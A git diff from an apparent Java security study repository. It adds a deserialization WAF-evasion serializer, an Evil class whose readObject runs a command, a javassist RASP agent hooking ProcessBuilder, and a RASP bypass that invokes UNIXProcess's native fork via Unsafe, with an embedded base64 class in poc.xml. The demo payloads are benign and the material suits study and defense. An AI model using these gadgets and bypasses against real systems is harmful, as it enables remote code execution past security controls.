(ObjectStreamField[]) getFieldValue(desc,"fields"); + writeShort(fields.length); + for (int i = 0; i < fields.length; i++) { + ObjectStreamField f = fields[i]; + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this,f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } + } + + public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException { + Class> clazz = object.getClass();
+ Field field = clazz.getDeclaredField(fieldName);
+ field.setAccessible(true);
+ Object value = field.get(object);
+
+ return value;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java"
new file mode 100644
index 00000000..f641de41
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java"
@@ -0,0 +1,12 @@
+package org.example;
+
+import java.io.IOException;
+import java.io.Serializable;
+
+public class Evil implements Serializable {
+ private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException {
+ }
+ private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
+ Runtime.getRuntime().exec("Calc");
+ }
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..145a57f0
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ UTF8Deserialize
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..19d0b2b8
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $UTF8Deserialize
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore"
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore"
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml"
new file mode 100644
index 00000000..eb05d286
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml"
@@ -0,0 +1,30 @@
+
+
+ 4.0.0
+
+ com.test
+ test
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+
+
+
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+
+
+
+ com.test.Main
+
+
+
+
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java"
new file mode 100644
index 00000000..ad9e8cf8
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java"
@@ -0,0 +1,18 @@
+package com.test;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+public class Main {
+ public static void main(String[] args) throws InterruptedException, IOException {
+ System.out.println("main start!");
+ ProcessBuilder processBuilder = new ProcessBuilder();
+ processBuilder.command("cmd", "whoami");
+ Process process = processBuilder.start();
+ InputStream inputStream = process.getInputStream();
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "gbk"));
+ System.out.println(bufferedReader.readLine());
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..08be0616
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ RCE-Test
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..3ba7eab2
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $RCE-Test
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml"
new file mode 100644
index 00000000..e89b00eb
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml"
@@ -0,0 +1,56 @@
+
+
+ 4.0.0
+
+ com.drunkbaby.javaagent
+ java-agent
+ 1.0-SNAPSHOT
+
+
+
+ org.javassist
+ javassist
+ 3.27.0-GA
+
+
+
+
+ 8
+ 8
+
+
+
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+
+
+
+ maven-assembly-plugin
+
+
+
+ com.drunkbaby.javagent.PreMain
+ true
+ true
+
+
+
+ jar-with-dependencies
+
+
+
+
+ make-assembly
+ package
+
+ single
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java"
new file mode 100644
index 00000000..695047f1
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java"
@@ -0,0 +1,33 @@
+package com.drunkbaby.javagent;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.instrument.Instrumentation;
+import java.lang.instrument.UnmodifiableClassException;
+
+public class PreMain {
+ public static void premain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
+ // 先测试一次使用ProcessBuilder获取当前路径
+ System.out.println("\n");
+ ProcessBuilder processBuilder = new ProcessBuilder();
+ processBuilder.command("cmd", "/c", "chdir");
+ Process process = processBuilder.start();
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
+ System.out.println(bufferedReader.readLine());
+
+ // 添加ClassFileTransformer类
+ ProcessBuilderHook processBuilderHook = new ProcessBuilderHook(inst);
+ inst.addTransformer(processBuilderHook, true);
+
+ // 获取所有jvm中加载过的类
+ Class[] allLoadedClasses = inst.getAllLoadedClasses();
+ for (Class aClass : allLoadedClasses) {
+ if (inst.isModifiableClass(aClass) && !aClass.getName().startsWith("java.lang.invoke.LambdaForm")){
+ // 调用instrumentation中所有的ClassFileTransformer#transform方法,实现类字节码修改
+ inst.retransformClasses(new Class[]{aClass});
+ }
+ }
+ System.out.println("++++++++++++++++++hook finished++++++++++++++++++\n");
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java"
new file mode 100644
index 00000000..3e3d479d
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java"
@@ -0,0 +1,51 @@
+package com.drunkbaby.javagent;
+
+import javassist.*;
+
+import java.io.IOException;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+public class ProcessBuilderHook implements ClassFileTransformer {
+ private Instrumentation inst;
+ private ClassPool classPool;
+ public ProcessBuilderHook(Instrumentation inst){
+ this.inst = inst;
+ this.classPool = new ClassPool(true);
+ }
+
+ public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
+ if (className.equals("java/lang/ProcessBuilder")){
+ CtClass ctClass = null;
+ try {
+ // 找到ProcessBuilder对应的字节码
+ ctClass = this.classPool.get("java.lang.ProcessBuilder");
+ // 获取所有method
+ CtMethod[] methods = ctClass.getMethods();
+ // 0ドル代表this,这里this = 用户创建的ProcessBuilder实例对象
+ String src = "if (0ドル.command.get(0).equals(\"cmd\"))" +
+ "{System.out.println(\"危险!\");" +
+ "System.out.println();"+
+ "return null;}";
+ for (CtMethod method : methods) {
+ // 找到start方法,并插入拦截代码
+ if (method.getName().equals("start")){
+ method.insertBefore(src);
+ break;
+ }
+ }
+ classfileBuffer = ctClass.toBytecode();
+ }
+ catch (Exception e) {
+ e.printStackTrace();
+ }
+ finally {
+ if (ctClass != null){
+ ctClass.detach();
+ }
+ }
+ }
+ return classfileBuffer;
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF"
new file mode 100644
index 00000000..4d5eae31
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF"
@@ -0,0 +1,5 @@
+Manifest-Version: 1.0
+Premain-Class: com.drunkbaby.javagent.PreMain
+Can-Retransform-Classes: true
+Can-Redefine-Classes: true
+Can-Set-Native-Method-Prefix: true
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..0a4b8ca7
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ agent
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..f5e184db
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $agent
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml"
new file mode 100644
index 00000000..82bc48d4
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml"
@@ -0,0 +1,12 @@
+
+ 4.0.0
+
+ org.example
+ java_rasp
+ 1.0-SNAPSHOT
+
+ bypass
+ Archetype - bypass
+ http://maven.apache.org
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java"
new file mode 100644
index 00000000..fdf8d094
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java"
@@ -0,0 +1,64 @@
+package com.drunkbaby;
+
+import sun.misc.Unsafe;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+public class Evil {
+ public Evil() throws Exception {
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class clazz = Class.forName("java.lang.UNIXProcess");
+ Object obj = unsafe.allocateInstance(clazz);
+
+ String[] cmd = new String[] {"bash", "-c", "touch /tmp/success"};
+
+ byte[][] cmdArgs = new byte[cmd.length - 1][];
+ int size = cmdArgs.length;
+
+ for (int i = 0; i < cmdArgs.length; i++) { + cmdArgs[i] = cmd[i + 1].getBytes(); + size += cmdArgs[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : cmdArgs) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + + Field launchMechanismField = clazz.getDeclaredField("launchMechanism"); + Field helperpathField = clazz.getDeclaredField("helperpath"); + + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + + Object launchMechanism = launchMechanismField.get(obj); + byte[] helperpath = (byte[]) helperpathField.get(obj); + + int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism); + + Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false); + } + + public byte[] toCString(String s) { + if (s == null) { + return null; + } + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, result, 0, bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" new file mode 100644 index 00000000..7179707b --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" @@ -0,0 +1,11 @@ +
+
+
+
+ yv66vgAAADQAmwoAFwBaBwBbCABcCgAVAF0KAF4AXwoAXgBgCABhCgAVAGIKAAIAYwcAZAgAZQgAZggAZwcALQoACgBoCgBpAGoIAEMIAEQKABcAawgARQcAbAoAFQBtBwBuCgBvAHAHAHEKABkAcggAcwkAGQB0BwA/CQB1AHQKABUAdgoAbwBfCgAZAHcKACQAeAoAdQB5BwB6AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWkBAAFJAQADYXJnAQACW0IBAAR0aGlzAQAUTGNvbS9kcnVua2JhYnkvRXZpbDsBAA50aGVVbnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHY21kQXJncwEAA1tbQgEABHNpemUBAAhhcmdCbG9jawEABGVudmMBAAJbSQEAB3N0ZF9mZHMBABRsYXVuY2hNZWNoYW5pc21GaWVsZAEAD2hlbHBlcnBhdGhGaWVsZAEAD2xhdW5jaE1lY2hhbmlzbQEACmhlbHBlcnBhdGgBAAdvcmRpbmFsAQAKZm9ya01ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANU3RhY2tNYXBUYWJsZQcAegcAewcAWwcAbAcAbgcAOQcAOwEACkV4Y2VwdGlvbnMHAHwBAAl0b0NTdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWJ5dGVzAQAGcmVzdWx0AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAJQAmAQAPc3VuL21pc2MvVW5zYWZlAQAJdGhlVW5zYWZlDAB9AH4HAHsMAH8AgAwAgQCCAQAVamF2YS5sYW5nLlVOSVhQcm9jZXNzDACDAIQMAIUAhgEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBABJ0b3VjaCAvdG1wL3N1Y2Nlc3MMAIcAiAcAiQwAigCLDACMAI0BAA9qYXZhL2xhbmcvQ2xhc3MMAI4AjwEAEGphdmEvbGFuZy9PYmplY3QHAJAMAJEAkgEAEWphdmEvbGFuZy9JbnRlZ2VyDACTAJQBABBSQVNQX2ZvcmtBbmRFeGVjDACVADUHAJYMAJcAjwwAmACZDABSAFMMAJgAmgEAEmNvbS9kcnVua2JhYnkvRXZpbAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBhbGxvY2F0ZUluc3RhbmNlAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAEKClbQgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIaW50VmFsdWUBAAMoKUkBAARUWVBFAQARamF2YS9sYW5nL0Jvb2xlYW4BABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwAhACQAFwAAAAAAAgABACUAJgACACcAAAN6AAgAEgAAAcQqtwABEgISA7YABEwrBLYABSsBtgAGwAACTRIHuAAITiwttgAJOgQGvQAKWQMSC1NZBBIMU1kFEg1TOgUZBb4EZL0ADjoGGQa+NgcDNggVCBkGvqIAIxkGFQgZBRUIBGAytgAPUxUHGQYVCDK+YDYHhAgBp//bFQe8CDoIAzYJGQY6ChkKvjYLAzYMFQwVC6IAJxkKFQwyOg0ZDQMZCBUJGQ2+uAAQFQkZDb4EYGA2CYQMAaf/2AS8CjoKBrwKWQMCT1kEAk9ZBQJPOgstEhG2AAQ6DC0SErYABDoNGQwEtgAFGQ0EtgAFGQwZBLYABjoOGQ0ZBLYABsAADsAADjoPGQ62ABMSFAO9ABW2ABYZDgO9ABe2ABjAABm2ABo2EC0SGxAKvQAVWQOyABxTWQQSDlNZBRIOU1kGEg5TWQeyABxTWQgSDlNZEAayABxTWRAHEg5TWRAIEh1TWRAJsgAeU7YAHzoRGREEtgAgGREZBBAKvQAXWQMVEARguAAhU1kEGQ9TWQUqGQUDMrYAIlNZBhkIU1kHGQa+uAAhU1kIAVNZEAYZCgMuuAAhU1kQBwFTWRAIGQtTWRAJA7gAI1O2ABhXsQAAAAMAKAAAAIIAIAAAAAkABAAKAAwACwARAAwAGgAOACAADwAnABEAPAATAEYAFABLABYAVgAXAGUAGABwABYAdgAbAHwAHAB/AB4AmQAfAKYAIACwAB4AtgAjALsAJADMACYA1AAnANwAKQDiACoA6AAsAPEALQEAAC8BHwAxAWYAMgFsA